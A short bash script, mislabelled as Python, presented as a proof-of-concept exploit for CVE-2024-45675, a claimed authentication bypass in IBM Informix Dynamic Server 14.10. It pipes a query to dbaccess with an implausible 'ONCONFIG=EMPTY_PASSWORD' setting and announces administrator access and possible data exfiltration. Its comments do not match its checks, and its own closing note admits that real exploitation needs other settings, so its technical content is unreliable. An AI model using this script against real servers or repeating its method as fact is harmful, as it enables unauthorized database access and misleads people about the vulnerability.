The following code is for security research and authorized testing only.
python
#!/bin/bash
# CVE-2024-45675 PoC - IBM Informix Dynamic Server Local Authentication Bypass
# This PoC demonstrates the authentication bypass vulnerability in IBM IDS 14.10
echo "[*] CVE-2024-45675 IBM Informix Dynamic Server Authentication Bypass PoC"
echo "[*] Target: IBM Informix Dynamic Server 14.10"
# Check if onconnect or dbaccess is available
if ! command -v onmode &> /dev/null; then
echo "[-] Error: IBM Informix utilities not found"
echo "[-] This script must be run on a system with IBM IDS installed"
exit 1
fi
# Method 1: Try connection with empty password as informix user
# In a vulnerable system, this may succeed without password prompt
echo "[+] Attempting authentication bypass with empty password..."
sql_cmd="SELECT FIRST 1 * FROM sysmaster:sysdatabases;"
# Try to connect without password (vulnerable behavior)
echo $sql_cmd | ONCONFIG=EMPTY_PASSWORD dbaccess sysmaster -
if [ $? -eq 0 ]; then
echo "[+] VULNERABLE: Authentication bypass successful!"
echo "[+] Attacker has gained administrator access to Informix server"
echo "[+] Possible actions: data exfiltration, privilege escalation, persistence"
else
echo "[-] Target may not be vulnerable or access is restricted"
fi
# Note: Actual exploitation may require specific Informix environment variables
# and connection strings. Refer to IBM documentation for proper connection methods.